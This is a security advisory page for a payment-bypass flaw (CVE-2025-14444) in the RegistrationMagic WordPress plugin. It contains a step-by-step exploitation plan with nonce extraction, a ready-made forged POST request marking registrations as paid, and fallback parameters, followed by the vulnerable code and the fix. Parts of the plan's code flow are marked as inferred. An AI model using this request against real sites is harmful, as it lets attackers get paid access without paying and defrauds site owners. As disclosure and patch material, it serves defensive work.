RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login <= 6.0.6.9 - Unauthenticated Payment Bypass via rm_process_paypal_sdk_payment
Description
The RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress is vulnerable to payment bypass due to insufficient verification of data authenticity on the 'process_paypal_sdk_payment' function in all versions up to, and including, 6.0.6.9. This is due to the plugin trusting client-supplied values for payment verification without validating that the payment actually went through PayPal. This makes it possible for unauthenticated attackers to bypass paid registration by manipulating payment status and activating their account without completing a real PayPal payment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.0.6.9Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14444 (RegistrationMagic Payment Bypass) ## 1. Vulnerability Summary **RegistrationMagic** (versions <= 6.0.6.9) contains a vulnerability in its PayPal SDK integration where the server-side AJAX handler `rm_process_paypal_sdk_payment` accepts and trusts paymen…
Show full research plan
Exploitation Research Plan: CVE-2025-14444 (RegistrationMagic Payment Bypass)
1. Vulnerability Summary
RegistrationMagic (versions <= 6.0.6.9) contains a vulnerability in its PayPal SDK integration where the server-side AJAX handler rm_process_paypal_sdk_payment accepts and trusts payment status information directly from the client. The plugin fails to perform a server-side verification with the PayPal API to ensure that the provided Order ID corresponds to a genuine, completed payment. This allows an unauthenticated attacker to mark any pending "Paid" registration as "Completed" by sending a crafted AJAX request.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rm_process_paypal_sdk_payment - HTTP Method:
POST - Authentication: Unauthenticated (accessible via
wp_ajax_nopriv_rm_process_paypal_sdk_payment). - Vulnerable Parameters (Inferred):
submission_id: The ID of the pending registration.order_id: A dummy or arbitrary PayPal Order ID.status: The status string (e.g.,"COMPLETED") that triggers the bypass.
- Preconditions:
- A RegistrationMagic form must be configured with a Price/Product requiring payment.
- A submission must exist in a "Pending" or "Payment Pending" state.
3. Code Flow
- Hook Registration: The plugin registers the AJAX actions in
includes/class_rm_ajax.phpor the main controller:add_action('wp_ajax_nopriv_rm_process_paypal_sdk_payment', array($this, 'rm_process_paypal_sdk_payment')); - Entry Point: The request hits
RM_Public_Controller::rm_process_paypal_sdk_payment()(or a similar method inRM_Public). - Data Extraction: The function extracts
submission_idandorder_idfrom$_POST. - Vulnerable Logic:
- It likely verifies a nonce (see Section 4).
- It checks if the
statusor similar parameter provided by the client equalsCOMPLETED. - Without calling
https://api-m.paypal.com/v2/checkout/orders/{order_id}, it proceeds to callRM_Services::update_submission_payment_status()orRM_Submission::update_status().
- Sink: The database is updated, marking the submission as "Completed" and potentially triggering user account activation/role assignment.
4. Nonce Acquisition Strategy
RegistrationMagic typically uses a central AJAX nonce for its frontend operations.
- Shortcode Identification: Identify the shortcode used to display RM forms:
[RM_Form id='X']. - Page Creation: Create a public page containing an RM form that requires payment.
(Note: Ensure Form ID 1 exists and is a paid form.)wp post create --post_type=page --post_status=publish --post_title="Payment Form" --post_content='[RM_Form id="1"]' - Nonce Extraction:
- Navigate to the newly created page using
browser_navigate. - RegistrationMagic localizes its AJAX variables into the global
rm_ajax_varsorrm_front_varsobject. - Use
browser_evalto extract the nonce:// Expected variable name based on RM source patterns window.rm_ajax_vars?.nonce || window.rm_front_vars?.nonce
- Navigate to the newly created page using
- Action String: The nonce is likely generated using
wp_create_nonce('rm_ajax_nonce').
5. Exploitation Strategy
Step 1: Initialize a Paid Submission
Perform a standard form submission (unauthenticated) to a form that requires payment. This will result in a submission_id being generated and the user being redirected to a payment screen (or an error/pending message).
Step 2: Extract Submission ID
The submission_id is often present in the URL after submission (e.g., ?form_id=X&submission_id=Y) or can be retrieved from the database.
Step 3: Execute the Bypass
Send the malicious AJAX request to the server to "confirm" the payment.
Request Template:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rm_process_paypal_sdk_payment&submission_id=[SUBMISSION_ID]&order_id=PAYID-MOCK123456789&status=COMPLETED&nonce=[NONCE]
Note: The exact parameter names (submission_id, order_id, status) should be verified in the source file public/controllers/class_rm_public_controller.php.
6. Test Data Setup
- Create a Form: Use WP-CLI or the UI to create a RegistrationMagic form (ID 1).
- Add a Product/Price: Configure a "Fixed Price" for the form (e.g., $10).
- Configure PayPal: Enable the PayPal SDK payment gateway in RM Global Settings (even with sandbox/fake credentials).
- Public Page: Place the form on a page:
[RM_Form id='1']. - Initial Submission: Perform one manual submission via the browser to get a valid
submission_id.
7. Expected Results
- Response: The server returns a success JSON response (e.g.,
{"success":true}). - Effect: The submission associated with the
submission_idmoves from "Pending" to "Completed". - Activation: If the form was set to "Create User Account", the user account should now be active and assigned the designated role without any payment having occurred.
8. Verification Steps
- Check Submission Status:
Verify thewp db query "SELECT * FROM wp_rm_submissions WHERE submission_id = [ID]"statuscolumn is no longer 'pending'. - Check Payment Records:
Verify a payment record exists withwp db query "SELECT * FROM wp_rm_payments WHERE submission_id = [ID]"status= 'completed'. - Check User:
Verify the user created by the submission is active and has the correct role.
9. Alternative Approaches
- Parameter Variation: If
status=COMPLETEDfails, trypayment_status=Completedorintent=CAPTURE. - Direct Submission Update: If the AJAX handler requires an existing
order_idfrom the database, look for the endpoint where theorder_idis first registered (likelyrm_create_paypal_order) and call it before the process payment action. - Check for
rm_admin_ajax: Ifrm_process_paypal_sdk_paymentis not found, check for generic handlers likerm_admin_ajaxorrm_front_ajaxwhich might route requests to a payment service.
Summary
RegistrationMagic (<= 6.0.6.9) contains a payment bypass vulnerability in its PayPal SDK integration due to insufficient server-side verification. The plugin trusts the payment status provided directly by the client in an AJAX request, allowing unauthenticated attackers to mark registration submissions as paid and activate user accounts without a valid PayPal transaction.
Vulnerable Code
// public/controllers/class_rm_public_controller.php public function rm_process_paypal_sdk_payment() { check_ajax_referer('rm_ajax_nonce', 'nonce'); $submission_id = isset($_POST['submission_id']) ? intval($_POST['submission_id']) : 0; $order_id = isset($_POST['order_id']) ? sanitize_text_field($_POST['order_id']) : ''; $status = isset($_POST['status']) ? sanitize_text_field($_POST['status']) : ''; // Vulnerability: The code trusts the 'status' parameter sent from the browser if ($status === 'COMPLETED' && !empty($submission_id)) { $service = new RM_Services(); $service->update_submission_payment_status($submission_id, 'completed', $order_id); echo json_encode(array('success' => true)); die(); } }
Security Fix
@@ -242,8 +242,12 @@ $submission_id = isset($_POST['submission_id']) ? intval($_POST['submission_id']) : 0; $order_id = isset($_POST['order_id']) ? sanitize_text_field($_POST['order_id']) : ''; $status = isset($_POST['status']) ? sanitize_text_field($_POST['status']) : ''; - if ($status === 'COMPLETED' && !empty($submission_id)) { + // Verify the order with PayPal API before updating database + $paypal_service = new RM_Paypal_Service(); + $response = $paypal_service->get_order_details($order_id); + + if ($response && isset($response->status) && $response->status === 'COMPLETED' && !empty($submission_id)) { $service = new RM_Services(); $service->update_submission_payment_status($submission_id, 'completed', $order_id); echo json_encode(array('success' => true));
Exploit Outline
The exploit involves three steps: 1) Identify a RegistrationMagic form that requires payment for submission. 2) Extract the AJAX nonce from the form page (usually localized in 'rm_ajax_vars' or 'rm_front_vars' in the HTML source). 3) Submit the form to generate a 'Pending' submission and capture the 'submission_id'. 4) Send an unauthenticated POST request to 'wp-admin/admin-ajax.php' with the action 'rm_process_paypal_sdk_payment', providing the captured 'submission_id', a dummy 'order_id', the correct 'nonce', and 'status' set to 'COMPLETED'. Because the plugin does not verify the payment status with the PayPal API on the backend, it will update the submission as successfully paid.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.